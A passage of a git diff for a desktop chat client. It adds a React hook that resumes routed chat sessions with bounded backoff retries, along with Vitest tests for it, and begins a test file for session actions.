+    const resumeSession = vi.fn(async () => undefined)
+    const startFreshSessionDraft = vi.fn()
+    const activeSessionIdRef: MutableRefObject<null | string> = { current: null }
+    const creatingSessionRef = { current: false }
+    const runtimeIdByStoredSessionIdRef = { current: new Map() }
+    const selectedStoredSessionIdRef: MutableRefObject<null | string> = { current: null }
+
+    const { rerender } = render(
+      <RouteResumeHarness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady
+        gatewayState="open"
+        locationPathname="/"
+        resumeSession={resumeSession}
+        routedSessionId={null}
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId={null}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).not.toHaveBeenCalled()
+
+    rerender(
+      <RouteResumeHarness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady
+        gatewayState="open"
+        locationPathname="/session-2"
+        resumeSession={resumeSession}
+        routedSessionId="session-2"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId={null}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).toHaveBeenCalledTimes(1)
+    expect(resumeSession).toHaveBeenCalledWith('session-2', true)
+  })
+
+  it('arms the boot-restore one-shot for the FIRST resume only (⌘R tab persistence)', () => {
+    // Factory mocks survive restoreAllMocks — drop calls earlier tests made.
+    vi.mocked(markSelectionRestore).mockClear()
+    const resumeSession = vi.fn(async () => undefined)
+    const startFreshSessionDraft = vi.fn()
+    const activeSessionIdRef: MutableRefObject<null | string> = { current: null }
+    const creatingSessionRef = { current: false }
+    const runtimeIdByStoredSessionIdRef = { current: new Map() }
+    const selectedStoredSessionIdRef: MutableRefObject<null | string> = { current: null }
+
+    const props = {
+      activeSessionId: null,
+      activeSessionIdRef,
+      creatingSessionRef,
+      currentView: 'chat',
+      freshDraftReady: false,
+      gatewayState: 'open',
+      resumeSession,
+      runtimeIdByStoredSessionIdRef,
+      selectedStoredSessionId: null,
+      selectedStoredSessionIdRef,
+      startFreshSessionDraft
+    }
+
+    // Cold start: the window mounts already routed at /session-1 (the reload).
+    const { rerender } = render(
+      <RouteResumeHarness {...props} locationPathname="/session-1" routedSessionId="session-1" />
+    )
+
+    expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+    expect(markSelectionRestore).toHaveBeenCalledTimes(1)
+
+    // A later route change is a real navigation: resume fires, one-shot doesn't.
+    rerender(<RouteResumeHarness {...props} locationPathname="/session-2" routedSessionId="session-2" />)
+
+    expect(resumeSession).toHaveBeenCalledWith('session-2', true)
+    expect(markSelectionRestore).toHaveBeenCalledTimes(1)
+  })
+
+  it('resumes the selected route again when the gateway reconnects', () => {
+    const resumeSession = vi.fn(async () => undefined)
+    const startFreshSessionDraft = vi.fn()
+    const activeSessionIdRef: MutableRefObject<null | string> = { current: 'runtime-1' }
+    const creatingSessionRef = { current: false }
+    const runtimeIdByStoredSessionIdRef = { current: new Map([['session-1', 'runtime-1']]) }
+    const selectedStoredSessionIdRef: MutableRefObject<null | string> = { current: 'session-1' }
+
+    const { rerender } = render(
+      <RouteResumeHarness
+        activeSessionId="runtime-1"
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId="session-1"
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).not.toHaveBeenCalled()
+
+    rerender(
+      <RouteResumeHarness
+        activeSessionId="runtime-1"
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="closed"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId="session-1"
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    rerender(
+      <RouteResumeHarness
+        activeSessionId="runtime-1"
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId="session-1"
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).toHaveBeenCalledTimes(1)
+    expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+  })
+})
+
+describe('useRouteResume bounded auto-retry after a failed resume', () => {
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+    setResumeExhaustedSessionId(null)
+  })
+
+  // Common stranded-window props: gateway open, route on the session, no runtime
+  // yet, and the ref already synced to the route (resumeSession sets it at entry
+  // before failing) — the exact state that defeats the main effect's self-heal.
+  function strandedProps(resumeSession: (sid: string, focus: boolean) => Promise<unknown>) {
+    return {
+      activeSessionId: null,
+      activeSessionIdRef: { current: null } as MutableRefObject<null | string>,
+      creatingSessionRef: { current: false },
+      currentView: 'chat',
+      freshDraftReady: false,
+      gatewayState: 'open',
+      locationPathname: '/session-1',
+      resumeSession,
+      routedSessionId: 'session-1',
+      runtimeIdByStoredSessionIdRef: { current: new Map<string, string>() },
+      selectedStoredSessionId: 'session-1',
+      // Synced to the route by the failed resume's synchronous entry-write.
+      selectedStoredSessionIdRef: { current: 'session-1' } as MutableRefObject<null | string>,
+      startFreshSessionDraft: vi.fn()
+    }
+  }
+
+  it('retries the resume on backoff when the routed session is flagged as failed', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+
+    render(<RouteResumeHarness {...strandedProps(resumeSession)} resumeFailedSessionId="session-1" />)
+
+    // The main effect fires one resume on mount (pathname-changed). Clear it so
+    // we assert purely the bounded-retry effect's scheduled retry below.
+    resumeSession.mockClear()
+
+    // No immediate fire — the retry is scheduled behind the backoff timer.
+    expect(resumeSession).not.toHaveBeenCalled()
+
+    // First backoff window (1s) elapses → one retry.
+    vi.advanceTimersByTime(1_000)
+    expect(resumeSession).toHaveBeenCalledTimes(1)
+    expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+  })
+
+  it('does NOT retry a failed session that is not the routed one', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+
+    // The failure flag points at a different session than the route.
+    render(<RouteResumeHarness {...strandedProps(resumeSession)} resumeFailedSessionId="other-session" />)
+    resumeSession.mockClear() // drop the mount resume
+
+    vi.advanceTimersByTime(10_000)
+    expect(resumeSession).not.toHaveBeenCalled()
+  })
+
+  it('skips the scheduled retry if the session already recovered when the timer fires', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+    const props = strandedProps(resumeSession)
+
+    render(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    resumeSession.mockClear() // drop the mount resume
+
+    // A resume landed while we waited: runtime is now bound.
+    props.activeSessionIdRef.current = 'runtime-1'
+
+    vi.advanceTimersByTime(8_000)
+    expect(resumeSession).not.toHaveBeenCalled()
+  })
+
+  it('stops retrying after MAX_RESUME_RETRIES consecutive failures', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+    const props = strandedProps(resumeSession)
+
+    // Model the real re-arm loop: resumeSession clears $resumeFailedSessionId at
+    // entry (null) and a repeat failure re-sets it ('session-1'). That null->id
+    // toggle is what re-runs the effect and advances the bounded counter. The
+    // routed session never changes, so the counter is NOT reset between cycles.
+    const { rerender } = render(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    resumeSession.mockClear() // drop the mount resume; count only the retries
+
+    for (let i = 0; i < 8; i += 1) {
+      vi.advanceTimersByTime(8_000) // fire the scheduled retry (if any)
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId={null} />) // cleared at entry
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />) // re-armed on failure
+    }
+
+    // Capped at MAX_RESUME_RETRIES (4): a persistently dead backend can't
+    // hot-loop the resume forever.
+    expect(resumeSession.mock.calls.length).toBe(4)
+
+    // Once auto-retry gives up, the exhausted latch is armed for the routed
+    // session so the chat view can swap the perpetual loader for an explicit
+    // error + manual Retry instead of spinning forever.
+    expect($resumeExhaustedSessionId.get()).toBe('session-1')
+  })
+
+  it('does not arm the exhausted latch while retries remain', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+    const props = strandedProps(resumeSession)
+
+    const { rerender } = render(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    resumeSession.mockClear()
+
+    // Two failure cycles — still under the 4-retry cap, so the latch must stay
+    // clear and the loader keeps spinning (auto-recovery hasn't given up yet).
+    for (let i = 0; i < 2; i += 1) {
+      vi.advanceTimersByTime(8_000)
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId={null} />)
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    }
+
+    expect($resumeExhaustedSessionId.get()).toBeNull()
+  })
+
+  it('clears a stale exhausted latch when the route moves off the stranded session', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+    const props = strandedProps(resumeSession)
+
+    // Pre-arm the latch as if this session had exhausted its retries.
+    setResumeExhaustedSessionId('session-1')
+
+    // Route is now on a different, healthy session that is not flagged as
+    // failed — the retry effect's "route moved off" branch clears the latch.
+    render(
+      <RouteResumeHarness
+        {...props}
+        activeSessionId="runtime-2"
+        activeSessionIdRef={{ current: 'runtime-2' }}
+        locationPathname="/session-2"
+        resumeFailedSessionId={null}
+        routedSessionId="session-2"
+        selectedStoredSessionId="session-2"
+        selectedStoredSessionIdRef={{ current: 'session-2' }}
+      />
+    )
+
+    expect($resumeExhaustedSessionId.get()).toBeNull()
+  })
+
+  it('resets the retry counter for a fresh backoff cycle when the exhausted latch clears (manual retry, same session)', () => {
+    vi.useFakeTimers()
+    const resumeSession = vi.fn(async () => undefined)
+    const props = strandedProps(resumeSession)
+
+    // Phase A — exhaust the bounded auto-retry (counter → MAX) like a dead
+    // backend. The resumeExhaustedSessionId prop stays null here: the hook sets
+    // the store, which doesn't feed back into the prop in this harness.
+    const { rerender } = render(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    resumeSession.mockClear()
+
+    for (let i = 0; i < 8; i += 1) {
+      vi.advanceTimersByTime(8_000)
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId={null} />)
+      rerender(<RouteResumeHarness {...props} resumeFailedSessionId="session-1" />)
+    }
+
+    expect(resumeSession.mock.calls.length).toBe(4) // capped
+    expect($resumeExhaustedSessionId.get()).toBe('session-1')
+
+    // Phase B — user clicks Retry on the SAME stranded session. resumeSession
+    // clears both latches at entry; the exhausted latch's armed->cleared edge
+    // must reset the attempt counter so a fresh bounded cycle runs, not a single
+    // one-shot attempt that immediately re-arms the error. Model the prop
+    // transitions: reflect the armed latch, then clear it (retry), then re-arm
+    // the failure latch on the fresh failure.
+    resumeSession.mockClear()
+    rerender(<RouteResumeHarness {...props} resumeExhaustedSessionId="session-1" resumeFailedSessionId="session-1" />)
+    rerender(<RouteResumeHarness {...props} resumeExhaustedSessionId={null} resumeFailedSessionId={null} />)
+    rerender(<RouteResumeHarness {...props} resumeExhaustedSessionId={null} resumeFailedSessionId="session-1" />)
+
+    // A real retry fires again instead of staying pinned at MAX (which would
+    // dispatch nothing). Without the reset the counter stays >= MAX and this
+    // advance dispatches zero resumes.
+    vi.advanceTimersByTime(8_000)
+    expect(resumeSession.mock.calls.length).toBeGreaterThan(0)
+  })
+
+  it('does not burn retry attempts on unrelated re-renders during the backoff window', () => {
+    vi.useFakeTimers()
+    const props = strandedProps(vi.fn())
+
+    // Mount schedules the first backoff timer. Then re-render repeatedly with a
+    // fresh resumeSession identity (referential instability — a real dep change
+    // for the retry effect) WITHOUT ever letting the timer fire. The old code
+    // incremented the attempt counter at schedule time, so >= MAX re-renders
+    // armed the exhausted error with zero resumes actually dispatched. The fix
+    // only advances the counter when a timer truly fires, so the latch stays
+    // clear no matter how many spurious re-renders happen mid-backoff.
+    const { rerender } = render(
+      <RouteResumeHarness {...props} resumeFailedSessionId="session-1" resumeSession={vi.fn(async () => undefined)} />
+    )
+
+    for (let j = 0; j < 8; j += 1) {
+      rerender(
+        <RouteResumeHarness {...props} resumeFailedSessionId="session-1" resumeSession={vi.fn(async () => undefined)} />
+      )
+    }
+
+    expect($resumeExhaustedSessionId.get()).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-route-resume.ts b/ui-desktop/src/app/session/hooks/use-route-resume.ts
new file mode 100644
index 000000000..3dedced3c
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-route-resume.ts
@@ -0,0 +1,306 @@
+import { type MutableRefObject, useEffect, useRef } from 'react'
+
+import { isNewChatRoute } from '@/app/routes'
+import { setResumeExhaustedSessionId } from '@/store/session'
+import { markSelectionRestore } from '@/store/session-states'
+
+interface RouteResumeOptions {
+  activeSessionId: string | null
+  activeSessionIdRef: MutableRefObject<string | null>
+  creatingSessionRef: MutableRefObject<boolean>
+  currentView: string
+  freshDraftReady: boolean
+  gatewayState: string | undefined
+  locationPathname: string
+  resumeSession: (sessionId: string, focus: boolean) => Promise<unknown>
+  // Stored-session id whose most recent resume failed terminally (set by
+  // useSessionActions, mirrored from $resumeFailedSessionId). While this equals
+  // routedSessionId the window would otherwise latch on the loader forever, so
+  // the bounded-retry effect below re-attempts the resume.
+  resumeFailedSessionId: string | null
+  // Stored-session id whose bounded auto-retry has EXHAUSTED (mirrored from
+  // $resumeExhaustedSessionId). Only resumeSession clears this latch (manual
+  // Retry / reconnect / reselect) — the auto-retry loop never does — so its
+  // armed->cleared edge is an unambiguous "give me a fresh backoff cycle"
+  // signal the effect below uses to reset the attempt counter.
+  resumeExhaustedSessionId: string | null
+  routedSessionId: string | null
+  runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId: string | null
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+  startFreshSessionDraft: (focus: boolean) => unknown
+}
+
+// Bounded auto-retry for a stranded session window. A resume can fail terminally
+// (gateway RPC reject + REST fallback failure) on a transiently wedged backend —
+// dead provider key, a runaway turn hogging the dispatcher, flaky DNS. Without a
+// retry the loader latches forever. We retry with backoff, capped, so a
+// genuinely dead backend doesn't hot-loop the resume.
+const MAX_RESUME_RETRIES = 4
+const RESUME_RETRY_BASE_MS = 1_000
+const RESUME_RETRY_MAX_MS = 8_000
+
+function resumeRetryDelayMs(attempt: number): number {
+  return Math.min(RESUME_RETRY_MAX_MS, RESUME_RETRY_BASE_MS * 2 ** attempt)
+}
+
+// HashRouter boot edge case: pathname briefly reads `/` before the hash is
+// parsed. If the hash references a real session, defer; resume picks it up
+// next tick. Without this, ctrl+R on `#/:sessionId` flashes 5 loading states.
+function rawHashLooksLikeSession(): boolean {
+  if (typeof window === 'undefined') {
+    return false
+  }
+
+  const hash = window.location.hash.replace(/^#/, '')
+
+  if (!hash || hash === '/') {
+    return false
+  }
+
+  return (
+    !hash.startsWith('/settings') &&
+    !hash.startsWith('/skills') &&
+    !hash.startsWith('/messaging') &&
+    !hash.startsWith('/artifacts')
+  )
+}
+
+export function useRouteResume({
+  activeSessionId,
+  activeSessionIdRef,
+  creatingSessionRef,
+  currentView,
+  freshDraftReady,
+  gatewayState,
+  locationPathname,
+  resumeSession,
+  resumeFailedSessionId,
+  resumeExhaustedSessionId,
+  routedSessionId,
+  runtimeIdByStoredSessionIdRef,
+  selectedStoredSessionId,
+  selectedStoredSessionIdRef,
+  startFreshSessionDraft
+}: RouteResumeOptions) {
+  const lastPathnameRef = useRef<string | null>(null)
+  const seenGatewayStateRef = useRef(false)
+  const wasGatewayOpenRef = useRef(false)
+  // True until the FIRST resume this window dispatches. That resume is the
+  // cold-start restore of a route that was already loaded before the reload —
+  // a re-attachment, not a navigation — so it must not home focus/tabs to the
+  // workspace (which would clobber the persisted active tab; ⌘R always landed
+  // on main). Every later resume is a real navigation and homes as usual.
+  const bootResumeRef = useRef(true)
+  // Per-session retry bookkeeping for the bounded auto-retry effect below. Keyed
+  // by the session id we're retrying so switching chats resets the counter.
+  const retrySessionIdRef = useRef<string | null>(null)
+  const retryAttemptRef = useRef(0)
+  // Tracks the previous exhausted-latch value so we can detect its armed->cleared
+  // edge. resumeSession clears $resumeExhaustedSessionId on a manual Retry /
+  // reconnect / reselect; that transition is our cue to reset the attempt counter
+  // for a fresh backoff cycle on the SAME session (the auto-retry loop itself
+  // never touches this latch, so it can't spuriously trigger the reset).
+  const prevResumeExhaustedRef = useRef<string | null>(null)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const gatewayOpen = gatewayState === 'open'
+    const pathnameChanged = lastPathnameRef.current !== locationPathname
+    // Fire only on a genuine closed->open transition (a reconnect). seenGatewayStateRef
+    // stays false until the first effect run, so a session that mounts with the gateway
+    // already open is not mistaken for "became open" and does not double-resume with the
+    // pathname-driven initial resume below.
+    const gatewayBecameOpen = seenGatewayStateRef.current && !wasGatewayOpenRef.current && gatewayOpen
+    lastPathnameRef.current = locationPathname
+    seenGatewayStateRef.current = true
+    wasGatewayOpenRef.current = gatewayOpen
+
+    if (currentView !== 'chat' || !gatewayOpen) {
+      return
+    }
+
+    if (routedSessionId) {
+      const cachedRuntime = runtimeIdByStoredSessionIdRef.current.get(routedSessionId)
+
+      const alreadyActive =
+        routedSessionId === selectedStoredSessionIdRef.current &&
+        Boolean(cachedRuntime) &&
+        cachedRuntime === activeSessionIdRef.current
+
+      // Self-heal a desynced view: the route points at a session that isn't the
+      // loaded one. A create/stream race can leave selected/active null while
+      // the route stays on /:sid (symptom: brand-new chat shows "Thinking" then
+      // an empty transcript even though the turn completed and persisted). The
+      // pathname didn't change, so the normal gate would skip and the view stays
+      // stuck empty forever. selectedStoredSessionIdRef is set synchronously at
+      // resume entry, so this can't loop; the resume's cached fast-path restores
+      // the already-streamed messages without a refetch.
+      //
+      // Crucially this must NOT fire during a /:sid -> /new transition, where
+      // startFreshSessionDraft nulls selected/active one render before the
+      // pathname flips to / (same null+/:sid signature). freshDraftReady is the
+      // discriminator: it's true while heading into a blank new chat, false when
+      // genuinely stranded on a routed session.
+      const stuckOnRoutedSession = routedSessionId !== selectedStoredSessionIdRef.current && !freshDraftReady
+
+      // Resume when the route meaningfully changed, the gateway just opened, or
+      // we're stranded on a routed session that never loaded. The first two
+      // guard against a transient /:sid re-resume during "new chat" state clears
+      // before the pathname updates from /:sid -> /.
+      const shouldResume = pathnameChanged || gatewayBecameOpen || stuckOnRoutedSession
+
+      // On a reconnect (gatewayBecameOpen) re-resume even when the route looks
+      // `alreadyActive`: the cached runtime id can be stale once the gateway
+      // rebinds/reaps the session on its side, and trusting it strands Desktop on
+      // a dead id ("session not found"). Otherwise keep skipping when already active.
+      if ((gatewayBecameOpen || !alreadyActive) && shouldResume && !creatingSessionRef.current) {
+        // The window's FIRST resume re-attaches the pre-reload route rather
+        // than navigating anywhere, so the selection listener must not home
+        // focus/tabs to the workspace over the persisted layout (see
+        // markSelectionRestore). One-shot: consumed by the selection change
+        // resumeSession makes synchronously at entry.
+        if (bootResumeRef.current) {
+          markSelectionRestore()
+        }
+
+        bootResumeRef.current = false
+        void resumeSession(routedSessionId, true)
+      }
+
+      return
+    }
+
+    if (
+      isNewChatRoute(locationPathname) &&
+      !creatingSessionRef.current &&
+      (selectedStoredSessionId || activeSessionId || !freshDraftReady) &&
+      !rawHashLooksLikeSession()
+    ) {
+      // A fresh draft is a real navigation — any later resume homes normally.
+      bootResumeRef.current = false
+      startFreshSessionDraft(true)
+    }
+  }, [
+    activeSessionId,
+    activeSessionIdRef,
+    creatingSessionRef,
+    currentView,
+    freshDraftReady,
+    gatewayState,
+    locationPathname,
+    resumeSession,
+    routedSessionId,
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionId,
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft
+  ])
+
+  // Bounded auto-retry: when the routed session's resume failed terminally
+  // (resumeFailedSessionId matches the route), schedule a backoff retry so the
+  // window recovers on its own instead of latching the loader forever. This is
+  // the safety net the main effect above can't provide: after a failed resume,
+  // selectedStoredSessionIdRef.current already equals the route (resumeSession
+  // sets it synchronously at entry) and the pathname/gateway are unchanged, so
+  // none of stuckOnRoutedSession / pathnameChanged / gatewayBecameOpen fire
+  // again. resumeSession clears resumeFailedSessionId on its next attempt; a
+  // success keeps it clear (the effect's guard then no-ops), a repeat failure
+  // re-arms it and we back off further, capped at MAX_RESUME_RETRIES.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    // Detect the exhausted-latch armed->cleared edge for the current route. Only
+    // resumeSession clears $resumeExhaustedSessionId (manual Retry / reconnect /
+    // reselect) — the auto-retry loop never touches it — so this transition
+    // uniquely means "the user asked for another go." Reset the attempt counter
+    // for a fresh bounded backoff cycle on the SAME session. Without this,
+    // retryAttemptRef stays pinned at MAX after exhaustion (the !stranded reset
+    // below only fires on a route CHANGE to a different session), so a manual
+    // retry on the same stranded session would get exactly ONE attempt and then
+    // immediately re-arm the exhausted error — never the renewed backoff cycle
+    // the store/session.ts + use-session-actions.ts comments promise. (Point 2)
+    const wasExhausted = prevResumeExhaustedRef.current
+    prevResumeExhaustedRef.current = resumeExhaustedSessionId
+
+    if (wasExhausted && wasExhausted === routedSessionId && resumeExhaustedSessionId !== wasExhausted) {
+      retrySessionIdRef.current = routedSessionId
+      retryAttemptRef.current = 0
+    }
+
+    if (currentView !== 'chat' || gatewayState !== 'open') {
+      return
+    }
+
+    const stranded =
+      Boolean(routedSessionId) && resumeFailedSessionId === routedSessionId && !creatingSessionRef.current
+
+    if (!stranded) {
+      // Route moved off the stranded session (or it recovered) — reset the
+      // counter so a future failure on another session starts fresh, and clear
+      // any exhausted-latch armed for a session we're no longer viewing (never
+      // the current route: that's the error state we want to keep showing).
+      // resumeSession also clears it on a fresh attempt; this covers a plain
+      // route-change away from the stranded window.
+      if (retrySessionIdRef.current !== routedSessionId) {
+        retrySessionIdRef.current = null
+        retryAttemptRef.current = 0
+        setResumeExhaustedSessionId(current => (current && current !== routedSessionId ? null : current))
+      }
+
+      return
+    }
+
+    // New stranded session id → reset the attempt counter.
+    if (retrySessionIdRef.current !== routedSessionId) {
+      retrySessionIdRef.current = routedSessionId
+      retryAttemptRef.current = 0
+    }
+
+    if (retryAttemptRef.current >= MAX_RESUME_RETRIES) {
+      // Give up auto-retrying a persistently dead backend; the user can still
+      // reconnect / reselect (which resets the counter via the branch above).
+      // Surface an explicit error + manual Retry in the chat view instead of
+      // spinning the loader forever — resumeSession (manual Retry / reconnect /
+      // reselect) clears this latch and resets the counter for a fresh cycle.
+      setResumeExhaustedSessionId(routedSessionId)
+
+      return
+    }
+
+    const attempt = retryAttemptRef.current
+    const sessionId = routedSessionId as string
+
+    const timer = setTimeout(() => {
+      // Re-check liveness at fire time: a resume may have landed while we waited.
+      if (
+        creatingSessionRef.current ||
+        selectedStoredSessionIdRef.current !== sessionId ||
+        activeSessionIdRef.current !== null
+      ) {
+        return
+      }
+
+      // Consume an attempt ONLY now that a resume is actually dispatching.
+      // Incrementing at schedule time (the old behavior) let unrelated dep
+      // changes during the 1s–8s backoff window — a transient gatewayState
+      // flip, a non-referentially-stable resumeSession — clear the pending
+      // timer and re-run the effect, burning an attempt without any resume
+      // having fired. A flapping backend could then hit MAX in a couple of
+      // re-renders with far fewer than MAX real attempts. (Point 3)
+      retryAttemptRef.current += 1
+      void resumeSession(sessionId, true)
+    }, resumeRetryDelayMs(attempt))
+
+    return () => clearTimeout(timer)
+  }, [
+    activeSessionIdRef,
+    creatingSessionRef,
+    currentView,
+    gatewayState,
+    resumeSession,
+    resumeFailedSessionId,
+    resumeExhaustedSessionId,
+    routedSessionId,
+    selectedStoredSessionIdRef
+  ])
+}
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions.test.tsx b/ui-desktop/src/app/session/hooks/use-session-actions.test.tsx
new file mode 100644
index 000000000..bb1df2111
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions.test.tsx
@@ -0,0 +1,1711 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import type { MutableRefObject } from 'react'
+import { useEffect } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $terminalTakeover, setTerminalTakeover } from '@/app/right-sidebar/store'
+import { getSession, getSessionMessages, type SessionInfo } from '@/clawcodex'
+import { noteActiveTreeGroup, revealTreePane } from '@/components/pane-shell/tree/store'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { clearSessionDraft, stashSessionDraft, takeSessionDraft } from '@/store/composer'
+import { $activeGatewayProfile, $newChatProfile, ensureGatewayProfile } from '@/store/profile'
+import { $projectScope, $projectTree, ALL_PROJECTS } from '@/store/projects'
+import {
+  $activeSessionId,
+  $activeSessionStoredIdRotation,
+  $currentCwd,
+  $currentFastMode,
+  $currentModel,
+  $currentProvider,
+  $currentReasoningEffort,
+  $messages,
+  $newChatWorkspaceTarget,
+  $resumeFailedSessionId,
+  $selectedStoredSessionId,
+  setActiveSessionId,
+  setActiveSessionStoredIdRotation,
+  setCurrentCwd,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setMessages,
+  setNewChatWorkspaceTarget,
+  setResumeFailedSessionId,
+  setSelectedStoredSessionId,
+  setSessions
+} from '@/store/session'
+import { $sessionTiles } from '@/store/session-states'
+
+import { sessionRoute } from '../../routes'
+import type { ClientSessionState } from '../../types'
+
+import { useSessionActions } from './use-session-actions'
+
+vi.mock('@/clawcodex', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  deleteSession: vi.fn(),
+  getSession: vi.fn(),
+  getSessionMessages: vi.fn(),
+  listAllProfileSessions: vi.fn(),
+  setApiRequestProfile: vi.fn(),
+  setSessionArchived: vi.fn()
+}))
+
+vi.mock('@/store/profile', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  ensureGatewayProfile: vi.fn().mockResolvedValue(undefined)
+}))
+
+vi.mock('@/components/pane-shell/tree/store', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  noteActiveTreeGroup: vi.fn(),
+  revealTreePane: vi.fn()
+}))
+
+const RUNTIME_SESSION_ID = 'rt-new-001'
+
+function deferred<T>() {
+  let resolve!: (value: T | PromiseLike<T>) => void
+
+  const promise = new Promise<T>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+type HarnessHandle = Pick<
+  ReturnType<typeof useSessionActions>,
+  'createBackendSessionForSend' | 'selectSidebarItem' | 'startFreshSessionDraft'
+>
+
+function storedSession(overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    ended_at: null,
+    id: 'stored-1',
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1,
+    message_count: 0,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    source: 'desktop',
+    started_at: 1,
+    title: 'stored',
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+function Harness({
+  navigate = vi.fn(),
+  onReady,
+  requestGateway
+}: {
+  navigate?: ReturnType<typeof vi.fn>
+  onReady: (handle: HarnessHandle) => void
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+}) {
+  const ref = <T,>(value: T): MutableRefObject<T> => ({ current: value })
+
+  const actions = useSessionActions({
+    activeSessionId: null,
+    activeSessionIdRef: ref<string | null>(null),
+    busyRef: ref(false),
+    creatingSessionRef: ref(false),
+    ensureSessionState: () => ({}) as ClientSessionState,
+    getRouteToken: () => 'token',
+    getRoutedStoredSessionId: () => null,
+    navigate: navigate as never,
+    requestGateway,
+    resetViewSync: vi.fn(),
+    runtimeIdByStoredSessionIdRef: ref(new Map<string, string>()),
+    selectedStoredSessionId: null,
+    selectedStoredSessionIdRef: ref<string | null>(null),
+    sessionStateByRuntimeIdRef: ref(new Map<string, ClientSessionState>()),
+    syncSessionStateToView: vi.fn(),
+    updateSessionState: () => ({}) as ClientSessionState
+  })
+
+  useEffect(() => {
+    onReady(actions)
+  }, [actions, onReady])
+
+  return null
+}
+
+function StoredIdRotationHarness({
+  activeSessionIdRef,
+  getRoutedStoredSessionId,
+  navigate,
+  selectedStoredSessionIdRef
+}: {
+  activeSessionIdRef: MutableRefObject<string | null>
+  getRoutedStoredSessionId: () => null | string
+  navigate: (to: string, options?: { replace?: boolean }) => void
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+}) {
+  const ref = <T,>(value: T): MutableRefObject<T> => ({ current: value })
+
+  useSessionActions({
+    activeSessionId: activeSessionIdRef.current,
+    activeSessionIdRef,
+    busyRef: ref(false),
